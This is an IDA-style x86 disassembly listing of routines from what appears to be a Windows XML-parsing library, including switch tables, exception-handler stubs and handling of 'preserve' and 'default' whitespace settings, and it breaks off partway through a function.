loc_69B4E7F9: ; CODE XREF: sub_69B4E634+B6j
; DATA XREF: .text:off_69B4E95Co
push dword ptr [ebp-3Ch] ; jumptable 69B4E6EA cases 2-5,7
lea ecx, [ebp-68h]
call sub_69B8A0E9
loc_69B4E804: ; CODE XREF: sub_69B4E634+2BAj
mov eax, [ebp-68h]
cmp eax, [ebp-64h]
jnb loc_69B4E8F3
mov edi, [eax]
mov [ebp-6Ch], edi
mov eax, [ebp-2Ch]
sub eax, 3
jz short loc_69B4E894
dec eax
jz short loc_69B4E897
dec eax
jz short loc_69B4E82B
dec eax
jz short loc_69B4E82E
jmp loc_69B4E8EA
; ---------------------------------------------------------------------------
loc_69B4E82B: ; CODE XREF: sub_69B4E634+1EDj
mov [ebp-3Ch], edi
loc_69B4E82E: ; CODE XREF: sub_69B4E634+1F0j
push 0
push edi
mov ecx, [ebp-1Ch]
call sub_69B8AFBA
mov ebx, eax
mov [ebp-70h], ebx
test ebx, ebx
jnz short loc_69B4E85A
push eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE002h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B4E85A: ; CODE XREF: sub_69B4E634+20Cj
mov ebx, [ebx+20h]
mov [ebp-74h], ebx
test ebx, ebx
jnz loc_69B4E8EA
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov [ebp-78h], eax
push ebx
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE005h
push eax
push eax
call sub_69B2E9D0
add esp, 14h
jmp short loc_69B4E8EA
; ---------------------------------------------------------------------------
loc_69B4E894: ; CODE XREF: sub_69B4E634+1E7j
mov [ebp-3Ch], edi
loc_69B4E897: ; CODE XREF: sub_69B4E634+1EAj
cmp byte ptr [ebp+18h], 0
jnz short loc_69B4E8EA
push edi
mov ecx, [ebp-1Ch]
call sub_69B8B00F
mov [ebp-7Ch], eax
test eax, eax
jnz short loc_69B4E8EA
mov ebx, [ebp+8]
test ebx, ebx
jz short loc_69B4E8BF
mov eax, [ebx]
push ebx
call dword ptr [eax+1Ch]
mov [ebp-80h], eax
jmp short loc_69B4E8C3
; ---------------------------------------------------------------------------
loc_69B4E8BF: ; CODE XREF: sub_69B4E634+27Ej
and dword ptr [ebp-80h], 0
loc_69B4E8C3: ; CODE XREF: sub_69B4E634+289j
test ebx, ebx
jz short loc_69B4E8CF
mov eax, [ebx]
push ebx
call dword ptr [eax+18h]
jmp short loc_69B4E8D1
; ---------------------------------------------------------------------------
loc_69B4E8CF: ; CODE XREF: sub_69B4E634+291j
xor eax, eax
loc_69B4E8D1: ; CODE XREF: sub_69B4E634+299j
push 0
push 0
push dword ptr [ebp-80h]
push eax
push edi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
push eax
mov ecx, [ebp-1Ch]
call sub_69B8B5C1
loc_69B4E8EA: ; CODE XREF: sub_69B4E634+1F2j
; sub_69B4E634+22Ej ...
add dword ptr [ebp-68h], 4
jmp loc_69B4E804
; ---------------------------------------------------------------------------
loc_69B4E8F3: ; CODE XREF: sub_69B4E634+1D6j
mov ecx, [ebp-24h]
test ecx, ecx
jz short loc_69B4E950 ; jumptable 69B4E6EA case 10
cmp byte ptr [ebp+18h], 0
jz short loc_69B4E914
lea eax, [ecx+2Ch]
mov [ebp-84h], eax
loc_69B4E909: ; CODE XREF: sub_69B4E634+1C0j
push dword ptr [ebp-3Ch]
loc_69B4E90C: ; CODE XREF: sub_69B4E634+114j
push eax
call sub_69B17320
jmp short loc_69B4E950 ; jumptable 69B4E6EA case 10
; ---------------------------------------------------------------------------
loc_69B4E914: ; CODE XREF: sub_69B4E634+1A8j
; sub_69B4E634+2CAj
push dword ptr [ebp-3Ch]
loc_69B4E917: ; CODE XREF: sub_69B4E634+105j
call sub_69B8CC82
jmp short loc_69B4E950 ; jumptable 69B4E6EA case 10
; ---------------------------------------------------------------------------
loc_69B4E91E: ; DATA XREF: .text:69B4E984o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4E927: ; DATA XREF: .text:69B4E988o
mov esp, [ebp-18h]
cmp byte ptr [ebp+18h], 0
jz short loc_69B4E94B
push 0
push 0C00CE00Fh
call sub_69B2F944
pop ecx
pop ecx
push eax
call sub_69B2E808
mov ecx, eax
call sub_69B2EABC
loc_69B4E94B: ; CODE XREF: sub_69B4E634+2FAj
call sub_69B2E860
loc_69B4E950: ; CODE XREF: sub_69B4E634+B6j
; sub_69B4E634+FAj ...
or dword ptr [ebp-4], 0FFFFFFFFh ; jumptable 69B4E6EA case 10
call sub_69B1853C
retn 14h
sub_69B4E634 endp
; ---------------------------------------------------------------------------
off_69B4E95C dd offset loc_69B4E6F1 ; DATA XREF: sub_69B4E634+B6r
dd offset loc_69B4E7CB ; jump table for switch statement
dd offset loc_69B4E7F9
dd offset loc_69B4E74D
dd offset loc_69B4E950
byte_69B4E970 db 0, 1, 2, 2 ; DATA XREF: sub_69B4E634+AFr
db 2, 2, 1, 2 ; indirect table for switch statement
db 3, 3, 4
align 10h
dword_69B4E980 dd 0FFFFFFFFh dd offset loc_69B4E91E
dd offset loc_69B4E927
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4E98C proc near ; CODE XREF: sub_69B4EBD9+117p
; sub_69B4F0B4+16Cp
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
cmp edi, ebx
mov esi, ecx
mov [ebp+var_1], 1
jz short loc_69B4E9B1
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+108h]
mov [ebp+arg_0], eax
jmp short loc_69B4E9B4
; ---------------------------------------------------------------------------
loc_69B4E9B1: ; CODE XREF: sub_69B4E98C+14j
mov [ebp+arg_0], ebx
loc_69B4E9B4: ; CODE XREF: sub_69B4E98C+23j
cmp [ebp+arg_0], ebx
jnz short loc_69B4E9E2
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B190D7
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx+114h]
push edi
lea eax, [esi+30h]
push eax
mov byte ptr [esi+34h], 1
call sub_69B17320
mov [esi+3Ch], ebx
jmp short loc_69B4EA3F
; ---------------------------------------------------------------------------
loc_69B4E9E2: ; CODE XREF: sub_69B4E98C+2Bj
cmp [esi+34h], bl
jz short loc_69B4EA09
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+110h]
push dword ptr [eax+8]
mov ecx, esi
push dword ptr [eax+0Ch]
call sub_69B4E3A1
mov eax, [edi]
push ebx
mov ecx, edi
call dword ptr [eax+114h]
loc_69B4EA09: ; CODE XREF: sub_69B4E98C+59j
cmp [esi+3Ch], ebx
jbe short loc_69B4EA1D
loc_69B4EA0E: ; CODE XREF: sub_69B4E98C+ABj
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
call sub_69B4E3A1
jmp short loc_69B4EA3F
; ---------------------------------------------------------------------------
loc_69B4EA1D: ; CODE XREF: sub_69B4E98C+80j
mov ecx, [ebp+arg_0]
cmp ecx, [esi+30h]
jnz short loc_69B4EA39
call sub_69B47E7F
push dword ptr [eax+8]
mov ecx, esi
push dword ptr [eax+0Ch]
call sub_69B4E3A1
jmp short loc_69B4EA0E
; ---------------------------------------------------------------------------
loc_69B4EA39: ; CODE XREF: sub_69B4E98C+97j
mov [esi+34h], bl
mov [ebp+var_1], bl
loc_69B4EA3F: ; CODE XREF: sub_69B4E98C+54j
; sub_69B4E98C+8Fj
mov al, [ebp+var_1]
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B4E98C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4EA49 proc near ; DATA XREF: .text:69B123F0o
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 2
push ebx
push esi
mov esi, [ebp+arg_0]
setz [ebp+var_1]
push edi
mov edi, [eax+1Ch]
xor ebx, ebx
cmp edi, ebx
jz loc_69B4EBB1
mov ecx, [edi+8]
mov eax, ecx
shr eax, 18h
and eax, 1Fh
setz byte ptr [ebp+arg_0+3]
cmp eax, 7
jz short loc_69B4EA8D
cmp eax, 4
jz short loc_69B4EA8D
or ecx, 10000h
mov [edi+8], ecx
loc_69B4EA8D: ; CODE XREF: sub_69B4EA49+34j
; sub_69B4EA49+39j
cmp [esi+3Ch], ebx
jbe short loc_69B4EA99
mov ecx, esi
call sub_69B4E426
loc_69B4EA99: ; CODE XREF: sub_69B4EA49+47j
push ebx
lea eax, [esi+30h]
push eax
call sub_69B17320
mov eax, [esi+50h]
mov byte ptr [esi+34h], 0
mov ecx, [edi+8]
shr ecx, 14h
test cl, 1
jz short loc_69B4EABE
cmp eax, ebx
jz short loc_69B4EAD2
mov ebx, [eax+24h]
jmp short loc_69B4EAD2
; ---------------------------------------------------------------------------
loc_69B4EABE: ; CODE XREF: sub_69B4EA49+6Aj
cmp eax, ebx
jz short loc_69B4EAD2
mov eax, [eax+1Ch]
cmp eax, ebx
jz short loc_69B4EACE
mov eax, [eax+18h]
jmp short loc_69B4EAD0
; ---------------------------------------------------------------------------
loc_69B4EACE: ; CODE XREF: sub_69B4EA49+7Ej
xor eax, eax
loc_69B4EAD0: ; CODE XREF: sub_69B4EA49+83j
mov ebx, eax
loc_69B4EAD2: ; CODE XREF: sub_69B4EA49+6Ej
; sub_69B4EA49+73j ...
xor eax, eax
mov al, [esi+4Ch]
push ebx
mov ecx, edi
push eax
push 1
push 0
call sub_69B4B0C7
cmp byte ptr [ebp+arg_0+3], 0
jz short loc_69B4EB12
mov eax, [edi+8]
shr eax, 4
and eax, 3Fh
cmp eax, 1
jle short loc_69B4EB12
cmp eax, 0Ch
jge short loc_69B4EB12
cmp byte ptr [esi+41h], 0
jz short loc_69B4EB12
push 0
push ebx
push dword ptr [edi+0Ch]
push edi
push [ebp+arg_4]
call sub_69B4E634
loc_69B4EB12: ; CODE XREF: sub_69B4EA49+9Fj
; sub_69B4EA49+ADj ...
cmp byte ptr [esi+2Dh], 0
jnz short loc_69B4EB53
mov eax, [edi+8]
shr eax, 14h
test al, 1
jz short loc_69B4EB53
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 12h
mov ebx, eax
jg short loc_69B4EB34
call sub_69B2E6D8
loc_69B4EB34: ; CODE XREF: sub_69B4EA49+E4j
mov eax, [edi]
mov ebx, [ebx+54h]
mov ecx, edi
call dword ptr [eax+38h]
cmp eax, ebx
jnz short loc_69B4EB53
push 0
push edi
call sub_69B4EE00
mov byte ptr [esi+44h], 1
mov [esi+45h], al
jmp short loc_69B4EB93
; ---------------------------------------------------------------------------
loc_69B4EB53: ; CODE XREF: sub_69B4EA49+CDj
; sub_69B4EA49+D7j ...
cmp byte ptr [ebp+arg_0+3], 0
jz short loc_69B4EB93
cmp [ebp+arg_8], 0
jnz short loc_69B4EB93
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+118h]
test al, al
jnz short loc_69B4EB93
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+108h]
test eax, eax
jz short loc_69B4EB8F
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+108h]
mov eax, [eax+8]
shr eax, 14h
test al, 1
jz short loc_69B4EB93
loc_69B4EB8F: ; CODE XREF: sub_69B4EA49+130j
or byte ptr [edi+0Ah], 20h
loc_69B4EB93: ; CODE XREF: sub_69B4EA49+108j
; sub_69B4EA49+10Ej ...
mov ecx, [esi+18h]
test ecx, ecx
jz short loc_69B4EBB1
mov eax, [esi+1Ch]
lea edx, [eax-1]
push eax
mov [esi+1Ch], edx
call sub_69B1A954
push 0
push eax
call sub_69B17320
loc_69B4EBB1: ; CODE XREF: sub_69B4EA49+1Cj
; sub_69B4EA49+14Fj
cmp [ebp+var_1], 0
jnz short loc_69B4EBD0
cmp [ebp+arg_8], 0
jnz short loc_69B4EBCC
mov eax, [ebp+arg_C]
mov eax, [eax+20h]
shr eax, 1
and al, 1
mov [esi+2Ch], al
jmp short loc_69B4EBD0
; ---------------------------------------------------------------------------
loc_69B4EBCC: ; CODE XREF: sub_69B4EA49+172j
mov byte ptr [esi+44h], 0
loc_69B4EBD0: ; CODE XREF: sub_69B4EA49+16Cj
; sub_69B4EA49+181j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_69B4EA49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4EBD9 proc near ; DATA XREF: .text:69B123F8o
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_10]
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [eax]
cmp dword ptr [edi+0Ch], 1
mov eax, [edi+4]
mov ebx, dword_69B993C0[eax*4]
setz byte ptr [ebp+arg_10+3]
cmp dword ptr [esi+3Ch], 0
jbe short loc_69B4EC27
test bl, 20h
jnz short loc_69B4EC20
cmp eax, 0Dh
jz short loc_69B4EC0E
cmp eax, 12h
jnz short loc_69B4EC20
loc_69B4EC0E: ; CODE XREF: sub_69B4EBD9+2Ej
push dword ptr [edi+14h]
mov ecx, esi
push dword ptr [edi+10h]
call sub_69B4E3A1
jmp loc_69B4EDF7
; ---------------------------------------------------------------------------
loc_69B4EC20: ; CODE XREF: sub_69B4EBD9+29j
; sub_69B4EBD9+33j
mov ecx, esi
call sub_69B4E426
loc_69B4EC27: ; CODE XREF: sub_69B4EBD9+24j
test bl, 20h
jz short loc_69B4EC4F
mov eax, [esi+14h]
mov ecx, [esi+10h]
push eax
push ecx
xor eax, eax
push eax
push eax
push eax
push [ebp+arg_8]
and ebx, 1Fh
push dword ptr [edi+20h]
push ebx
call sub_69B49219
mov ebx, eax
jmp loc_69B4ED66
; ---------------------------------------------------------------------------
loc_69B4EC4F: ; CODE XREF: sub_69B4EBD9+51j
test bh, 1
mov ecx, [ebp+arg_8]
jz loc_69B4ED02
test ecx, ecx
jz loc_69B4ED02
mov eax, [edi+4]
sub eax, 0Dh
jz short loc_69B4ECE7
dec eax
jz short loc_69B4ECCB
sub eax, 4
jnz loc_69B4ED35
cmp ecx, [esi+48h]
jnz short loc_69B4EC8E
mov eax, [ecx]
call dword ptr [eax+108h]
test eax, eax
jz loc_69B4EDF7
jmp short loc_69B4ECB9
; ---------------------------------------------------------------------------
loc_69B4EC8E: ; CODE XREF: sub_69B4EBD9+A1j
cmp byte ptr [esi+2Ch], 0
jnz short loc_69B4ECE7
cmp byte ptr [esi+34h], 0
jnz short loc_69B4ECE7
mov eax, [ecx]
call dword ptr [eax+108h]
test eax, eax
jz short loc_69B4ECAB
cmp eax, [esi+30h]
jz short loc_69B4ECE4
loc_69B4ECAB: ; CODE XREF: sub_69B4EBD9+CBj
mov esi, [ebp+arg_8]
mov ecx, esi
call sub_69B49E98
test eax, eax
jz short loc_69B4ECC2
loc_69B4ECB9: ; CODE XREF: sub_69B4EBD9+B3j
or byte ptr [eax+9], 10h
jmp loc_69B4EDF7
; ---------------------------------------------------------------------------
loc_69B4ECC2: ; CODE XREF: sub_69B4EBD9+DEj
or byte ptr [esi+9], 8
jmp loc_69B4EDF7
; ---------------------------------------------------------------------------
loc_69B4ECCB: ; CODE XREF: sub_69B4EBD9+93j
mov al, [ecx+0Bh]
and al, 1Fh
cmp al, 5
jnz short loc_69B4ED35
push dword ptr [edi+14h]
push dword ptr [edi+10h]
call sub_69B47EB6
jmp loc_69B4EDF7
; ---------------------------------------------------------------------------
loc_69B4ECE4: ; CODE XREF: sub_69B4EBD9+D0j
mov ecx, [ebp+arg_8]
loc_69B4ECE7: ; CODE XREF: sub_69B4EBD9+90j
; sub_69B4EBD9+B9j ...
push dword ptr [edi+14h]
push dword ptr [edi+10h]
push ecx
mov ecx, esi
call sub_69B4E98C
test al, al
jnz loc_69B4EDF7
mov ecx, [ebp+arg_8]
jmp short loc_69B4ED35
; ---------------------------------------------------------------------------
loc_69B4ED02: ; CODE XREF: sub_69B4EBD9+7Cj
; sub_69B4EBD9+84j
cmp dword ptr [edi+4], 1Bh
jnz short loc_69B4ED28
mov eax, [edi+14h]
mov edi, [edi+10h]
push eax
push edi
call sub_69B190C1
mov ecx, [esi+10h]
mov edi, eax
call sub_69B3DABE
add eax, 3Ch
push edi
jmp loc_69B4EDF1
; ---------------------------------------------------------------------------
loc_69B4ED28: ; CODE XREF: sub_69B4EBD9+12Dj
mov eax, ebx
and eax, 1Fh
cmp al, 12h
ja loc_69B4EDF7
loc_69B4ED35: ; CODE XREF: sub_69B4EBD9+98j
; sub_69B4EBD9+F9j ...
mov eax, [esi+14h]
mov edx, [esi+10h]
push eax
push edx
push dword ptr [edi+14h]
and ebx, 1Fh
push dword ptr [edi+10h]
mov [ebp+arg_8], ebx
push 0
push ecx
push 0
push ebx
call sub_69B49219
cmp [ebp+arg_8], 1
mov ebx, eax
jnz short loc_69B4ED66
push ebx
lea eax, [esi+30h]
push eax
call sub_69B17320
loc_69B4ED66: ; CODE XREF: sub_69B4EBD9+71j
; sub_69B4EBD9+181j
movzx eax, byte ptr [ebp+arg_10+3]
mov byte ptr [esi+34h], 0
shl eax, 10h
xor eax, [ebx+8]
and eax, 10000h
xor [ebx+8], eax
and dword ptr [edi+20h], 0
mov [edi+1Ch], ebx
cmp dword ptr [esi+28h], 0
jz short loc_69B4EDBD
lea edi, [esi+20h]
mov ecx, [edi]
test ecx, ecx
jz short loc_69B4EDBD
mov eax, [ecx+8]
inc dword ptr [esi+24h]
cmp [esi+24h], eax
jl short loc_69B4EDAC
add eax, eax
push eax
call sub_69B660A0
push eax
push edi
call sub_69B17320
loc_69B4EDAC: ; CODE XREF: sub_69B4EBD9+1C2j
push dword ptr [esi+24h]
mov ecx, [edi]
call sub_69B1A954
push ebx
push eax
call sub_69B17320
loc_69B4EDBD: ; CODE XREF: sub_69B4EBD9+1AEj
; sub_69B4EBD9+1B7j
cmp byte ptr [ebp+arg_10+3], 0
jnz short loc_69B4EDF7
lea edi, [esi+18h]
mov ecx, [edi]
test ecx, ecx
jz short loc_69B4EDF7
mov eax, [ecx+8]
inc dword ptr [esi+1Ch]
cmp [esi+1Ch], eax
jl short loc_69B4EDE6
add eax, eax
push eax
call sub_69B660A0
push eax
push edi
call sub_69B17320
loc_69B4EDE6: ; CODE XREF: sub_69B4EBD9+1FCj
push dword ptr [esi+1Ch]
mov ecx, [edi]
call sub_69B1A954
push ebx
loc_69B4EDF1: ; CODE XREF: sub_69B4EBD9+14Aj
push eax
call sub_69B17320
loc_69B4EDF7: ; CODE XREF: sub_69B4EBD9+42j
; sub_69B4EBD9+ADj ...
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
retn 14h
sub_69B4EBD9 endp
; =============== S U B R O U T I N E =======================================
sub_69B4EE00 proc near ; CODE XREF: sub_69B4EA49+FCp
; sub_69B4F0B4+26Cp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov ecx, [esp+arg_0]
push esi
push 0
push 1
push 0
call sub_69B4AAFC
mov esi, eax
test esi, esi
jz short loc_69B4EE3D
cmp [esp+4+arg_4], 0
mov ecx, esi
push offset aPreserve ; "preserve"
jz short loc_69B4EE54
call sub_69B2EF33
test al, al
jnz short loc_69B4EE5D
push offset aDefault ; "default"
mov ecx, esi
call sub_69B2EF33
loc_69B4EE39: ; CODE XREF: sub_69B4EE00+6Dj
test al, al
jnz short loc_69B4EE4E
loc_69B4EE3D: ; CODE XREF: sub_69B4EE00+14j
mov eax, 0C00CE573h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B4EE4E: ; CODE XREF: sub_69B4EE00+3Bj
xor al, al
loc_69B4EE50: ; CODE XREF: sub_69B4EE00+5Fj
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_69B4EE54: ; CODE XREF: sub_69B4EE00+22j
call sub_69B2EF04
test al, al
jz short loc_69B4EE61
loc_69B4EE5D: ; CODE XREF: sub_69B4EE00+2Bj
mov al, 1
jmp short loc_69B4EE50
; ---------------------------------------------------------------------------
loc_69B4EE61: ; CODE XREF: sub_69B4EE00+5Bj
push offset aDefault ; "default"
mov ecx, esi
call sub_69B2EF04
jmp short loc_69B4EE39
sub_69B4EE00 endp
; =============== S U B R O U T I N E =======================================
sub_69B4EE6F proc near ; CODE XREF: sub_69B3DADB+142p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
mov esi, ecx
call sub_69B4E278
lea eax, [esi+44h]
mov dword ptr [esi], offset off_69B12734
mov dword ptr [esi+4], offset off_69B282DC
and dword ptr [eax], 0
push dword ptr [edi+70h]
push eax
call sub_69B17320
pop edi
mov eax, esi
pop esi
retn 4
sub_69B4EE6F endp
; =============== S U B R O U T I N E =======================================
sub_69B4EEA0 proc near ; CODE XREF: .text:69B4F3EFp
push esi
push edi
mov esi, ecx
push 0
lea edi, [esi+40h]
push edi
mov dword ptr [esi-4], offset off_69B12734
mov dword ptr [esi], offset off_69B282DC
call sub_69B17320
push edi
call sub_69B17230
pop edi
mov ecx, esi
pop esi
jmp sub_69B4E344
sub_69B4EEA0 endp
; =============== S U B R O U T I N E =======================================
sub_69B4EECB proc near ; DATA XREF: .text:69B12740o
push 18h
push offset dword_69B4EF78
call sub_69B19C5C
xor edi, edi
mov [ebp-4], edi
mov eax, [ebp+10h]
sub eax, edi
jz short loc_69B4EF30
sub eax, 5
jz short loc_69B4EF23
sub eax, 3
jz short loc_69B4EEFD
dec eax
jnz short loc_69B4EF64
mov eax, [ebp+8]
mov ecx, [eax+10h]
mov eax, [ecx]
call dword ptr [eax+70h]
jmp short loc_69B4EF64
; ---------------------------------------------------------------------------
loc_69B4EEFD: ; CODE XREF: sub_69B4EECB+20j
mov esi, [ebp+8]
mov ecx, [esi+10h]
mov [ebp-1Ch], ecx
call sub_69B3EE2A
lea eax, [esi+30h]
mov [ebp-20h], eax
push edi
push eax
call sub_69B17320
mov [esi+3Ch], edi
lea eax, [esi+38h]
mov [ebp-24h], eax
jmp short loc_69B4EF39
; ---------------------------------------------------------------------------
loc_69B4EF23: ; CODE XREF: sub_69B4EECB+1Bj
mov eax, [ebp+8]
mov ecx, [eax+10h]
mov eax, [ecx]
call dword ptr [eax+48h]
jmp short loc_69B4EF64
; ---------------------------------------------------------------------------
loc_69B4EF30: ; CODE XREF: sub_69B4EECB+16j
mov eax, [ebp+8]
add eax, 30h
mov [ebp-28h], eax
loc_69B4EF39: ; CODE XREF: sub_69B4EECB+56j
push edi
push eax
call sub_69B17320
jmp short loc_69B4EF64
; ---------------------------------------------------------------------------
loc_69B4EF42: ; DATA XREF: .text:69B4EF7Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4EF4B: ; DATA XREF: .text:69B4EF80o
mov esp, [ebp-18h]
mov eax, [ebp+8]
push dword ptr [eax+10h] ; int
call sub_69B2E808
push eax ; lpString
push dword ptr [ebp+0Ch] ; int
call sub_69B4F82B
mov edi, eax
loc_69B4EF64: ; CODE XREF: sub_69B4EECB+23j
; sub_69B4EECB+30j ...
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, edi
call sub_69B1853C
retn 0Ch
sub_69B4EECB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B4EF78 dd 0FFFFFFFFh dd offset loc_69B4EF42
dd offset loc_69B4EF4B
; =============== S U B R O U T I N E =======================================
sub_69B4EF84 proc near ; DATA XREF: .text:69B12744o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
lea eax, [esi+30h]
push eax
call sub_69B17320
mov byte ptr [esi+34h], 0
xor eax, eax
pop esi
retn 0Ch
sub_69B4EF84 endp
; =============== S U B R O U T I N E =======================================
sub_69B4EF9E proc near ; DATA XREF: .text:69B12748o
push 14h
push offset dword_69B4F020
call sub_69B19C5C
xor ebx, ebx
mov [ebp-1Ch], ebx
mov [ebp-4], ebx
mov edi, [ebp+14h]
mov eax, [edi+1Ch]
mov [ebp-20h], eax
or byte ptr [eax+0Ah], 1
mov esi, [ebp+8]
cmp [esi+3Ch], ebx
jbe short loc_69B4EFCE
mov ecx, esi
call sub_69B4E426
loc_69B4EFCE: ; CODE XREF: sub_69B4EF9E+27j
lea eax, [esi+30h]
mov [ebp-24h], eax
push ebx
push eax
call sub_69B17320
mov [esi+34h], bl
mov eax, [edi+20h]
shr eax, 1
and eax, 1
mov [esi+2Ch], al
jmp short loc_69B4F00E
; ---------------------------------------------------------------------------
loc_69B4EFEB: ; DATA XREF: .text:69B4F024o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4EFF4: ; DATA XREF: .text:69B4F028o
mov esp, [ebp-18h]
mov eax, [ebp+8]
push dword ptr [eax+10h] ; int
call sub_69B2E808
push eax ; lpString
push dword ptr [ebp+0Ch] ; int
call sub_69B4F82B
mov [ebp-1Ch], eax
loc_69B4F00E: ; CODE XREF: sub_69B4EF9E+4Bj
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
call sub_69B1853C
retn 10h
sub_69B4EF9E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B4F020 dd 0FFFFFFFFh dd offset loc_69B4EFEB
dd offset loc_69B4EFF4
; =============== S U B R O U T I N E =======================================
sub_69B4F02C proc near ; DATA XREF: .text:69B1274Co
push 1Ch
push offset dword_69B4F0A8
call sub_69B19C5C
xor edi, edi
mov [ebp-4], edi
mov esi, [ebp+8]
mov ecx, [esi+10h]
mov [ebp-1Ch], ecx
push edi
call sub_69B3D622
mov ecx, [esi+10h]
mov [ebp-20h], ecx
call sub_69B3EE2A
lea eax, [esi+30h]
mov [ebp-24h], eax
push edi
push eax
call sub_69B17320
mov [esi+3Ch], edi
lea eax, [esi+38h]
mov [ebp-28h], eax
push edi
push eax
call sub_69B17320
mov eax, [ebp+10h]
mov [ebp-2Ch], eax
jmp short loc_69B4F09C
; ---------------------------------------------------------------------------
loc_69B4F07C: ; DATA XREF: .text:69B4F0ACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4F085: ; DATA XREF: .text:69B4F0B0o
mov esp, [ebp-18h]
mov eax, [ebp+8]
push dword ptr [eax+10h] ; int
call sub_69B2E808
push eax ; lpString
push dword ptr [ebp+0Ch] ; int
call sub_69B4F82B
loc_69B4F09C: ; CODE XREF: sub_69B4F02C+4Ej
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 14h
sub_69B4F02C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_69B4F0A8 dd 0FFFFFFFFh dd offset loc_69B4F07C
dd offset loc_69B4F085
; =============== S U B R O U T I N E =======================================
sub_69B4F0B4 proc near ; DATA XREF: .text:69B12750o
push 6Ch
push offset dword_69B4F3E0
call sub_69B19C5C
xor ebx, ebx
mov [ebp-1Ch], ebx
mov [ebp-4], ebx
mov eax, [ebp+10h]
mov [ebp-20h], eax
mov [ebp-21h], bl
mov [ebp-22h], bl
mov [ebp-23h], bl
mov [ebp-24h], bl
mov eax, [ebp+18h]
mov eax, [eax]
mov [ebp-28h], eax
movzx eax, word ptr [ebp+14h]
mov [ebp-2Ch], eax
mov esi, [ebp+8]
loc_69B4F0EC: ; CODE XREF: sub_69B4F0B4+28Ej
cmp [ebp-2Ch], ebx
jle loc_69B4F347
mov eax, [ebp+18h]
mov edi, [eax]
mov [ebp-30h], edi
add dword ptr [ebp+18h], 4
mov [ebp-34h], ebx
mov eax, [edi+4]
mov ecx, dword_69B993C0[eax*4]
mov [ebp-38h], ecx
cmp [esi+3Ch], ebx
jbe short loc_69B4F13E
test cl, 20h
jnz short loc_69B4F137
cmp eax, 0Dh
jz short loc_69B4F125
cmp eax, 12h
jnz short loc_69B4F137
loc_69B4F125: ; CODE XREF: sub_69B4F0B4+6Aj
push dword ptr [edi+14h]
push dword ptr [edi+10h]
mov ecx, esi
call sub_69B4E3A1
jmp loc_69B4F294
; ---------------------------------------------------------------------------
loc_69B4F137: ; CODE XREF: sub_69B4F0B4+65j
; sub_69B4F0B4+6Fj
mov ecx, esi
call sub_69B4E426
loc_69B4F13E: ; CODE XREF: sub_69B4F0B4+60j
test byte ptr [ebp-38h], 20h
jz short loc_69B4F187
mov ecx, [esi+44h]
mov [ebp-3Ch], ecx
push dword ptr [edi+14h]
push dword ptr [edi+10h]
call sub_69B4DFFF
mov [ebp-40h], eax
mov eax, [esi+14h]
mov [ebp-44h], eax
mov ecx, [esi+10h]
mov [ebp-48h], ecx
push eax
push ecx
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-20h]
push dword ptr [ebp-40h]
mov eax, [ebp-38h]
and eax, 1Fh
push eax
call sub_69B49219
mov ebx, eax
mov [ebp-34h], ebx
jmp loc_69B4F273
; ---------------------------------------------------------------------------
loc_69B4F187: ; CODE XREF: sub_69B4F0B4+8Ej
test byte ptr [ebp-37h], 1
jz loc_69B4F22B
mov eax, [edi+4]
sub eax, 0Dh
jz short loc_69B4F215
dec eax
jz short loc_69B4F1F8
sub eax, 4
jnz loc_69B4F235
cmp byte ptr [esi+34h], 0
jnz short loc_69B4F215
cmp byte ptr [esi+2Ch], 0
jz short loc_69B4F1B7
